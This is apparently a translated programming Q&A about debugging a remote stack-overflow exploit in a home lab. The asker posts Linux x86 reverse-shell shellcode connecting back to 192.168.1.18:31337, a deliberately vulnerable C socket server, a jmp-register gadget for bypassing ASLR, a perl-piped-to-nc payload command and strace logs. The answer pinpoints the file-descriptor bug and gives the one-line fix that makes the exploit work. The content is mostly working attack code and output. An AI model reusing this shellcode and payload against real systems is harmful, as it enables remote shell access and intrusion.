下午好。我一直在寻找这个shellcode会发生什么。这是asm代码:
add esp, 0x3c
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 102 ; __NR_socketcall
inc bl ; socket
push ecx
push 0x6 ; IPPROTO_TCP
push 0x1 ; SOCK_STREAM
push 0x2 ; AF_INET
mov ecx, esp
int 0x80 ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov esi, eax ; esi = socket descriptor
mov al, 0x66 ; __NR_socketcall
mov bl, 0x2
push 0x1201a8c0 ; addr =
push word 0x697a ; port = 31337
push bx ; AF_INET
inc bl
mov ecx, esp
push 0x10
push ecx
push esi
mov ecx, esp
int 0x80
xor ecx, ecx
mov cl, 3
bucle:
dec cl
mov al, 0x3f
int 0x80
jne bucle
xor eax, eax
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
push edx
mov edx, esp
mov al, 0xb
int 0x80
在beginnig上添加esp,0x3c 是为了避免shellcode覆盖自己。 它与 nasm sc.asm 一起使用,使用xxd获取操作码并使用此C代码执行它:
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66" \
"\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89" \
"\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68" \
"\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53" \
"\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1" \
"\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f" \
"\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f" \
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" \
"\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";
void main()
{
void (*fp)();
fp = (void*) &shellcode;
fp();
}
屏幕1:
arget@kali:~/exploiting/remote$ ./prueba
屏幕2:
arget@kali:~/exploiting/remote$ nc -lvvp31337 listening on [any] 31337 ... connect to [192.168.1.18] from kali [192.168.1.18] 50026 whoami arget exit sent 12, rcvd 6 arget@kali:~/exploiting/remote$
但事情的变化正在利用其他代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int vuln(char* arg, int newsockfd)
{
int n;
char vul[128];
strcpy(vul, arg);
n = write(newsockfd, vul, strlen(vul));
return n;
}
void shell()
{
__asm__("jmp *%ecx");
}
void error(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char **argv)
{
int sockfd, newsockfd, portno;
socklen_t clilen;
char buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n;
if(argc < 2)
{
fprintf(stderr, "ERROR, no se ha indicado puerto\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
error("ERROR al abrir el socket");
bzero((char*) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR en bind()");
listen(sockfd, 5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen);
if(newsockfd < 0)
error("ERROR en accept");
bzero(buffer, 256);
n = read(newsockfd, buffer, 255);
if(n < 0)
error("ERROR leyendo del socket");
printf("%s", buffer);
n = vuln(buffer, newsockfd);
if(n < 0)
error("ERROR escribiendo en el socket");
close(newsockfd);
close(sockfd);
return 0;
}
使用 gcc v.c -o v -z execstack 编译。使用gdb进行分析我们可以在vuln()中看到它在EBP之前保留140个字节,因此在EIP之前保留144个字节。
我们还可以看到,执行ret ecx的那一刻落在我们的缓冲区上。
使用 objdump -d v ,我们获得了jmp *%ecx
:0x0804875c的地址,我们可以使用它来绕过ASLR。
在攻击者的机器上打开执行 nc -lvvp31337 的终端,我们可以继续攻击,在受害计算机上执行堆栈溢出程序: ./ v 1337 ,在我们发送的攻击者机器上:
perl -e 'print "\x83\xc4\x3c\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xac\x1a\x9d\xf1\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 192.168.1.11 1337
在“nc -lvvp31337”控制台中,结果如下:
arget@kali:~$ nc -lvvp31337 listening on [any] 31337 ... connect to [192.168.1.18] from kali [192.168.1.18] 50030 sent 0, rcvd 0 arget@kali:~$
连接真的在这里,但它莫名其妙地关闭了。 如果我们使用“strace ./v 1337”跟踪系统调用,攻击后的结果是:
arget@kali:~/exploiting/remote$ strace ./v 1337
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL) = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ) = 0
mprotect(0xb77bc000, 4096, PROT_READ) = 0
munmap(0xb7778000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5) = 0
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
read(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 255) = 148
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000
write(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 148) = 148
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb88bf000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000
close(6) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6
read(6, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000
close(6) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7742000, 8192, PROT_READ) = 0
mprotect(0xb77ab000, 4096, PROT_READ) = 0
mprotect(0xb778c000, 4096, PROT_READ) = 0
munmap(0xb7748000, 127778) = 0
getpid() = 1993
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 1991
brk(NULL) = 0xb88bf000
brk(0xb88e0000) = 0xb88e0000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbfbcbea8) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 0xb77ac6c0, 8192) = -1 ENOTCONN (Transport endpoint is not connected)
exit_group(0) = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$
好的,正如我们可以看到shellcode正在被执行,它运行良好,直到它调用// bin / sh,它会意外退出。
将此与帖子开头的程序“prueba”进行比较,强调他们实现了几乎相同的系统调用,看:
arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL) = 0x8656000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ) = 0
mprotect(0xb776c000, 4096, PROT_READ) = 0
munmap(0xb7728000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ) = 0
mprotect(0xb7720000, 4096, PROT_READ) = 0
mprotect(0xb7701000, 4096, PROT_READ) = 0
munmap(0xb76bd000, 127778) = 0
getpid() = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 2027
brk(NULL) = 0xb89de000
brk(0xb89ff000) = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, "exit\n", 8192) = 5
exit_group(0) = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$
在“nc -lvvp31337”中:
arget@kali:~$ nc -lvvp31337 listening on [any] 31337 ... connect to [192.168.1.18] from kali [192.168.1.18] 50779 exit sent 5, rcvd 0 arget@kali:~$
任何人都知道问题是什么?
答案 0 :(得分:2)
错误很明显来自您提供的strace
输出:
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
shellcode在fd 5
打开套接字,但后来继续使用fd 3
。这是因为:
mov bl, 0x2
push 0x1201a8c0 ; addr =
push word 0x697a ; port = 31337
push bx ; AF_INET
inc bl
此部分将bl
设置为3
,稍后它也将用于文件描述符。由于之前已将正确的fd保存到esi
,因此您可以在mov ebx, esi
标签之前bucle
进行修复。